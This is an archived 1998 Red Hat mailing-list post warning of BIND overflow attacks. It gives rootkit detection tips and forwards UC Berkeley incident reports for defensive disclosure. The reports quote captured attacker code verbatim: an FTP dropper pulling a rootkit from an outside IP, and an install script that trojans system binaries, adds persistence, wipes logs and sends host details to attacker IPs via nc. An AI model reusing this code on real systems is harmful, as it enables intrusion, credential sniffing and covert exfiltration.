Linux users should be aware that there are currently concerted attacks
targetting Red Hat systems that have not applied the update in
ftp://ftp.redhat.com/pub/redhat/updates/5.0/i386/bind-4.9.6-7.i386.rpm
or the equivalent for Alpha or pre-5.0 systems. Crackers are able to
scan LANs looking for vulnerable systems, and are doing so. The
attacks use a buffer overflow condition in named to get direct
*external* root access without the need to break into a user account
first (see CERT CA-98.05). The update is trivial, so everyone should
do it. More details of the attack are below.
Unfortunately, neither the CERT advisory nor Red Hat's Errata site
stated in clear language a layman can understand that this bug was an
external root security hole, and many therefore did not consider it
very serious. There are lots of internal security holes that give
root access, but external risk is rarer. A statement should accompany
each security patch indicating the kind of risk the patch avoids. If
the statements are standardized, everyone will understand them. I
suggest the following:
"This patch eliminates a security hole that lets users on connected
networks (including the Internet, if connected) gain root access."
"This patch eliminates a security hole that lets users on connected
networks (including the Internet, if connected) disrupt the
functioning of the machine."
"This patch eliminates a security hole that allows local users to gain
root access."
"This patch eliminates a security hole that allows local users to
disrupt the functioning of the machine."
"This patch eliminates a bug that may crash the machine under normal
use."
etc.
Such statements are important because different installations consider
these risks differently. For a permanently-connected machine, the
first two statements are usually the highest risk. For a critical
administrative machine at a business that is not connected, the last
might be the greatest risk. Users need clear information to decide.
It may look bad on the surface to have such statements on Red Hat's
web site, but in the long run being very clear about the severity of
the operating system's faults will engender trust in the company.
Also, it looks a lot worse when there is a widespread attack and it
gets discussed all over the net.
A rootkit associated with the current set of attacks includes a
sniffer and hacked versions of several programs. The sniffer is
typicaly put in "/usr/...", and /bin/ls and /bin/ps are replaced with
versions that do not display the sniffer's files or process ID. To
see if you have a sniffer running, do:
echo /usr/.../*
The sniffer is named /usr/.../l0ve and /usr/.../l0ve.log. The latter
file will have sniffed logins in it. Also, check that your ls is ok
by doing:
rpm -V fileutils
Alternatively, attempt to list the files in the /usr/... directory.
If ls can't see them but echo * can, then ls has been compromised.
Look in /var/log/messages for out-of-time-order entries, restarting of
named, etc. The rootkit is supposed to delete /var/log/messages, but
for some reason this isn't always done.
I have attached below two messages from ucb.sysadmin that sum up the
attack nicely.
--jh--
Joe Harrington
326 Space Sciences Building
Cornell University
Ithaca, NY 14853-6801
[EMAIL PROTECTED]
[EMAIL PROTECTED] (permanent)
Message 1 (via DejaNews):
Subject: attacks on UCB computers
From: [EMAIL PROTECTED] (ken lindahl)
Date: 1998/05/27
Message-ID: <6kgg4g$9nk$[EMAIL PROTECTED]>
Newsgroups: ucb.sysadmin
i want to alert all ucb sysadmins to the fact that hackers have
been aggressively probing UCB hosts (and LBL hosts and UCSF hosts
as well) for BIND vulnerabilities. for details, see:
ftp://ftp.cert.org/pub/cert_summaries/CS-98.04
http://www.cert.org/advisories/CA-98.05.bind_problems.html
a number of hosts at UCB have been compromised via this exploit.
attached below are some details of attacks that occurred last weekend.
ken lindahl
communication & network services
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Date: Sun, 24 May 1998 23:11:33 PDT
Subject: BIND overflow cracker operating out of pellucid2.meer.net, verio.net
Yesterday evening we detected a cracker from pellucid2.meer.net doing
massive scans of UC Berkeley looking for servers on TCP port 53. For
example:
May 23 23:29:43 pellucid2.meer.net 0b >
evab-dmz-conc.berkeley.edu/domain ? 0.0s
May 23 23:32:23 pellucid2.meer.net 0b >
bgty2.berkeley.edu/domain ? 0.0s
May 23 23:35:21 pellucid2.meer.net 0b >
f5-0.inr-666-eva.berkeley.edu/domain ? 0.0s
(times are PDT)
This fits with recent advisories concerning BIND overflows, and that's
indeed what's going on. Running strings on the successful port 53
connections yields:
/usr/X11R6/bin/xterm
-display
207.21.132.129:0
/bin/csh&
/usr/X11/bin/xterm
-display
207.21.132.129:0
/bin/csh&
xterm
-display
207.21.132.129:0
/bin/csh&
207.21.132.129 is paix-alg-gw6-2.ncal.verio.com, so it appears that the
cracker was operating out of that location (see more below).
We recorded 13 successful break-ins to berkeley.edu machines:
[host list deleted, the sysadmins have been notified -- ken]
For these, the activity looked like:
May 24 02:36:40 XXXXXX.berkeley.edu 0b >
pellucid2.meer.net/other-7799 230b 5.1s
May 24 02:36:45 XXXXXX.berkeley.edu 106b >
pellucid2.meer.net/ftp 418b 9.0s #1 ANONYMOUS
May 24 02:36:51 pellucid2.meer.net 403196b >
XXXXXX.berkeley.edu/ftp-data 0b 3.4s
May 24 02:36:58 XXXXXX.berkeley.edu 61b >
pellucid2.meer.net/other-23111 11b 8.2s
where the port 7799 connection slurped over a 230 byte script;
mkdir -p /usr/...
cd /usr/...
ftp -n 140.174.164.69 <<EOF
quote user ANONYMOUS
quote pass MOZILLA@
cd /etc
get pictures.tgz
EOF
gunzip pictures.tgz
tar xf pictures.tar
cp -f /etc/hosts pictures.tar
\rm -rf pictures.tar
csh inst
and the ftp session pulled over "pictures.tgz", which contains the following:
bin/
bin/chfn
bin/chsh
bin/du
bin/ifconfig
bin/inetd
bin/login
bin/ls
bin/netstat
bin/passwd
bin/ps
bin/rshd
bin/syslogd
bin/tcpd
bin/top
fix
inst
l0ve
lpnetd
named497
named812
nc
ptzp
ptzq
ptzr
ptzs
No doubt the bin/ stuff is all trojaned (they appear to be Linux binaries).
"inst" is the install script that automatically completes the break-in:
#!/bin/csh
if (-f /usr/local/sbin/sshd) then
ps aux |grep sshd|grep -v grep|cut -c9-15|xargs kill -9
mv -f sshd /usr/local/sbin/sshd
/usr/local/sbin/sshd &
endif
./fix /usr/bin/chfn bin/chfn
./fix /usr/bin/chsh bin/chsh
./fix /bin/login bin/login
./fix /bin/ls bin/ls
./fix /bin/du bin/du
./fix /usr/bin/du bin/du
./fix /usr/bin/passwd bin/passwd
./fix /bin/ps bin/ps
./fix /usr/bin/top bin/top
./fix /usr/sbin/in.rshd bin/rshd
./fix /bin/netstat bin/netstat
./fix /sbin/ifconfig bin/ifconfig
./fix /usr/sbin/syslogd bin/syslogd
./fix /usr/sbin/inetd bin/inetd
./fix /usr/sbin/tcpd bin/tcpd
mv -f ptz* /dev
ps aux |grep named|grep -v grep|cut -c9-15|xargs kill
if (-f /etc/named.conf) then
cp -f named812 /usr/sbin/named
else
cp -f named497 /usr/sbin/named
endif
/usr/sbin/named&
mv -f lpnetd /usr/sbin/lpnetd
mv -f nc /bin/nc
echo /usr/sbin/lpnetd >> /etc/rc.d/rc.local
/usr/sbin/lpnetd
\rm -rf bin named497 named812
./l0ve&
if (-f /usr/local/sbin/sshd) then
echo -n "SSHD " > /tmp/.X11.
else
echo -n "nossh " > /tmp/.X11.
endif
uname -a|awk '{printf("%s %s %s ",$2,$3,$4)}' >> /tmp/.X11.
foreach i (`/sbin/ifconfig -a|grep inet | awk '{print $2}'|grep -v "127\.0"`)
echo -n "$i " >> /tmp/.X11.
end
echo " " >> /tmp/.X11.
cat /tmp/.X11. | /bin/nc -w 4 140.174.164.69 23111
cat /tmp/.X11. | /bin/nc -w 4 209.54.116.69 23111
\rm -rf /tmp/.X11. fix inst /var/log/messages
Note that the script refers to a local "sshd" (not part of the tarball).
The first few statements kill off any existing sshd's, presumably to force
reconnections via a trojaned sshd instead.
The script also runs "l0ve", which is a sniffer.
Also note that we are right now monitoring an ssh session between
paix-alg-gw6-29.ncal.verio.com and XXXXXXX.housing.berkeley.edu:
22:15:37.228432 XXXXXXX.Housing.Berkeley.EDU.22 >
paix-alg-gw6-29.ncal.verio.com.1462:
P 1602012198:1602012234(36)
ack 25559045 win 32736 (DF) [tos 0x10]
etc.
This suggests that the cracker is active at the moment from
paix-alg-gw6-29.ncal.verio.com and is using ssh for their access
to XXXXXXX (which is one of the hosts we noted above as having
been broken into).
I've cc'd the verio.com contacts. I have *not* cc'd the meer.net contacts
as it appears likely that they have a root compromise, and this cracker has
enough tools etc. that they may have compromised the accounts of the meer.net
contacts. If you could please contact them via phone or such, we'd
appreciate it.
We'll continue monitoring this activity and keep you posted regarding
developments.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Subject: Re: BIND overflow cracker operating out of home.com, uu.net (UU796910,
UU796915)
Date: Mon, 25 May 1998 13:53:07 PDT
I forgot to add: the cracker pulled over their rootkit from 207.226.174.2:
May 25 10:12:11 XXXXX.edu.gov/10827 > 207.226.174.2/ftp start
May 25 10:12:12 response (220 yourwebhost.net FTP server (Version
wu-2.4.2-academ[BETA-14](1) Sat Sep 6 14:04:21 EDT 1997) ready.)
May 25 10:12:16 USER saga (logged in)
May 25 10:12:18 SYST (215 UNIX Type: L8)
May 25 10:12:20 CWD /var/tmp/.b (ok)
May 25 10:12:22 TYPE I (ok)
May 25 10:12:22 PORT 128,3,32,166,42,76 (ok)
May 25 10:12:22 RETR report.tgz (complete)
May 25 10:12:25 QUIT (closed)
May 25 10:12:25 finish
--------------------------------------------------------------------------------
Message 2 (forwarded to me, ultimate origin unknown):
> UCB has already been swept once by someone looking for BIND
> vulnerabilities. Note that LINUX hosts are ESPECIALLY being targeted
> because RedHat includes the vulnerable fake-iquery code in its default
> install of BIND (included with the base networking package). If you
> machine is set up to run named on startup TURN it off or get the secure
> version. Otherwise your machine will get hacked!!
>
> Also, look for files like /usr/sbin/lpnetd or /dev/ptzp -- evidence that
> your machine has already been broken.
>
> :sigh: - sometimes I think the RedHat 4.x distributions were put
> together by hackers.
>
--
PLEASE read the Red Hat FAQ, Tips, Errata and the MAILING LIST ARCHIVES!
http://www.redhat.com/RedHat-FAQ /RedHat-Errata /RedHat-Tips /mailing-lists
To unsubscribe: mail [EMAIL PROTECTED] with
"unsubscribe" as the Subject.
